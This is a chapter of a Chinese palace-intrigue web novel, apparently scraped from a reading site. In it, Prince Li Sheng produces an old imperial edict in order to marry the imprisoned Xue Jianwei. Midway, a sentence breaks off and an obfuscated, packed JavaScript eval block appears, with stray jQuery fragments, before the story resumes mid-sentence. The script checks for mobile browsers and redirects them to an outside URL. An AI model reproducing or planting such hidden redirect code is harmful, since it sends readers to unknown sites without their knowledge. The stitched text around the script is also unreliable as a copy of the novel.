78. 望春回(四)

作品:《她收到一封诀别书

    难得晴空几日得了份爽朗之气,今日瞧着天色又病恹恹的阴沉起来。


    李承冕撑着眼皮望着殿下群臣为了彭氏是否应当迁棺入皇陵一事争论不休,有几位上了年纪的言官认为李承冕私自出宫先斩后奏不合祖宗法制,在大殿上捶胸顿足不肯罢休。


    母亲自然尸骨无存,迁进瞿州皇陵的只是一具空棺。反正母亲已经安置妥当,他们吵闹任由他们吵闹罢了。


    他眉宇间的疲态又平添几分压上心头,以前他总觉得李鼎难得好脸色,如今身在高位才知,高处不胜寒人如何能有好脸色。


    一波未平一波又起的事端,尔虞我诈勾心斗角,他坐在堂上身处漩涡中心,风暴不止,即便看得清楚明白,却身不由己。近日来,越发心生厌倦,永无休止。


    眼看沸反盈天,兆和殿的屋顶要被掀翻天,一人出列高呼,“陛下,臣弟有要事相报。”


    声音高昂一力压过大殿内旁人的喧哗之声,李承冕抬眸一看,出声之人正是李昇。


    “你前些时日上奏有要事需亲临禀告,朕念在你有悔过之心,特地准予你入宫述职,究竟有何事上告?”


    李昇行了一礼,肃声道:“臣弟是为了瞿州刺客薛氏一案。”


    话音未落,方才人声鼎沸的大殿顷刻间鸦雀无声,众臣面面相觑,谁也不敢说话。都听说陛下在瞿州遇刺,责罚淮王守陵非诏不得擅自离开,难道这刺客非比寻常至淮王殿下偏要面见陛下陈情?


    刑部尚书齐大同迅速瞥了眼位列首位的武国公于仕杰,这案子说是由他主审,但只是落了个名头,现下连那位女刺客的庐山真面目也不曾见过,前日他参不透陛下的意思,亲自去国公府拜访了一趟,想要打探个底细。


    那日于仕杰的话仍旧回荡在耳边,“你猜猜看,这世上能有几个姓薛的女子让陛下投鼠忌器,举棋不定?”


    言至于此,齐大同心中也明亮几分,索性做个缩头乌龟两眼一闭,假装看不见清净。可此时淮王出言提及此事,难道又生变故?


    于仕杰眼观鼻鼻观心,抢先应声压下李昇话,“此案牵连甚广,朝堂之上恐难尽述,殿下可等于朝堂之后与微臣详析其中实情。”


    李昇仍旧躬身,不卑不亢道:“于大人身在宫中,对于瞿州发生之事尚不清楚,本王如今千里迢迢从瞿州赶来,确实有非说不可的缘由。”


    听到非说不可,李承冕来了点兴趣,“但说无妨。”


    李昇从怀中掏出一个卷轴举过头顶,“臣弟今日来,是求陛下准予一件先帝的旨意,娶前侍灯司掌灯薛见微为妻。”


    两端明玉卷轴上祥云龙纹,毫无遮挡,径直闯进李承冕的眼里,近旁的内监接过卷轴呈到他的面前。


    明黄的圣旨上短短数行字,李承冕却像不识字一般反反复复阅读数遍,才明白这些字连接起来的含义。


    他眼神点在落款的时间,不禁冷笑一声,“和光二十四年的圣旨,你如今拿出来是何用意?”


    两人四眼,一个身居高位,一个躬身屏气,被一道陈旧的圣旨卷入尘封的过往。


    和光二十四年,细细算起来竟然是那么久远的时间。按照日子推算,那时应该是薛见微因为杀害云岫被捕入内狱的时候。李承冕目不转睛盯着殿下怡然自若的李昇,此间种种过往,这道圣旨被李昇藏在身边,为何偏偏要在今日拿出来?


    李昇一眼看出李承冕的心意,“这是和光二十四年,臣弟用至关重要的东西向父皇换来的。”


    那一夜,他捧着一盆兰花瑟瑟发抖跪在李鼎的脚边,央求李鼎网开一面。


    按照大荀律例,“诸犯刑者,若为夫妻新婚未逾年,许缓期一年行刑。”


    一年的时间,足够可以从中运筹帷幄救下一条性命。


    李鼎应允,但提出了条件,“朕答应你,但朕要你拿一样东西来换。你身为皇子,儿女情长本不该有所觊觎,朕要用你的正室之位来换,无论今后朕将赐婚何人与你,你必须答应。”


    谁曾想,白驹过隙,俯仰之间,如今他不得不再次拿出这道圣旨,居然是究于同一个原因:救人一命。


    “念及成婚诸事繁琐,还请陛下尽快定下时日,臣弟好接新妻回家。”李昇见李承冕不语,适时提醒道。


    李承冕敛眉,面无表情道:“朕知道了,下去吧。”


    “臣弟叩谢陛下隆恩。”李昇屈膝跪下。有几位年少的大臣纷纷拱手庆贺,“恭喜淮王殿下!”


    李昇直起身子,扯动嘴角淡淡道:“同喜,同喜。”


    剩下一些知晓个中缘由的大臣,脸色难堪至极,也不敢出声,目光纷杂斜眼察看于仕杰。这位下令宫中禁止私议前朝往事之人,此时面色如常,只是心底一声沉重的叹息,终究是有缘无分呐!


    兆和殿内济济一堂,有人欢喜送上庆贺,有人谦逊接受祝福,有人五位杂陈,有人魂飞魄散,只剩下一具肉身坐定。


    ---


    诏阳宫最不缺,是灯火。各式各样的灯笼烛火,星罗棋布,宫人换得很是勤快,哪怕灯芯蜡烛尚未燃尽,也要尽数换上新的。


    之前声称眼熟薛见微的嬷嬷,她再没见过。诺大的诏阳宫里,进来服侍的宫人隔几日就会全部换一遍,全是年纪轻轻崭新的面孔。


    薛见微曾经留心套话过几句,内务司派来诏阳宫的必须是永


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15453454|154524||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宁元年以后入宫的新人。


    他是一点也不想触及往事。


    薛见微只能拘在一方天地,赏花赏月赏日,临近隆冬,院子里为数不多的花花草草也被她盘弄得颇为精神。


    李承冕自从那夜的失态后再也没有出现过。当然,薛禾与她一番争吵后,她也不再奢望见薛禾一面。


    日复一日,薛见微失了脾性,顶着沦为阶下囚的自觉,默默等候李承冕的审判。


    至少李承冕答应过她,这一切,不会等太久。


    树杈上一只空空的鸟巢,连日被风吹得几乎要散架,不知来年春日鸟雀归巢看见这破烂的居处,是否还要重新筑巢。


    薛见微心生怜惜,索性爬上树取下空巢,其中还插着几只鸟羽,失了血肉的滋润,变得暗淡无光。


    一如此刻被囚的自己。


    她攀爬的这一株高枝出墙,连诏阳宫外过往的宫人窃窃私语也能听个七七八八。


    “听说了么?远在瞿州的淮王殿下,此次进京面见陛下竟然是为了求婚。”


    “宫里都传遍了,我们自然知道呐,淮王殿下拿着先帝的圣旨想要迎娶的,是前侍灯司的掌灯薛见微!”


    薛见微确认无疑,低语的那位宫人在念到“薛见微”三个字时,咬字极为用力,颇有点字正腔圆的意味。


    若不是她紧紧抓住树干,只怕登时就要跌下去摔个结实。


    李昇入宫要和薛见微成亲?这叫哪门子荒唐事!纵使这世间几多巧合,叫薛见微的大有人在,可前侍灯司的掌灯薛见微仅有一个,绝对没有他人。


    有一人捏着嗓子道:“这天底下不顺心之事情海了去,若不想为难,二更天的时候出来面朝西南,听一听拜一拜,总是没错的。”


    “果真有用么?改日休沐咱们一起去城隍庙拜一拜。”


    “拜什么?你也想求姻缘呐?”


    “又拿我做玩笑!看我不撕你的嘴!”


    几人嬉闹奔逐起来,声音逐渐远去。


    薛见微昂起脖子朝西南方一探,一口枯败的水池。听一听?难道是要听水声么?


    闻渊!


    是闻渊托人来带信。薛见微咬紧牙关,从树上手脚并用爬下来,两腿发软撑不住身子。


    “娘子,陛下召您去兆和殿西暖阁。”一宫人上前,见薛见微脚步虚浮,连忙上手搀扶。


    薛见微推开宫人的手,发狠一拳捶在树干上,头顶顿时飘落许多枯枝败叶,手上吃了力留下几道血迹沿着树皮的沟壑留下,得益于这点血肉上的疼痛,让她脑海清明不少。


    “前方带路。”她一掀衣摆,阔步前行。竹杖芒鞋轻胜马,谁怕!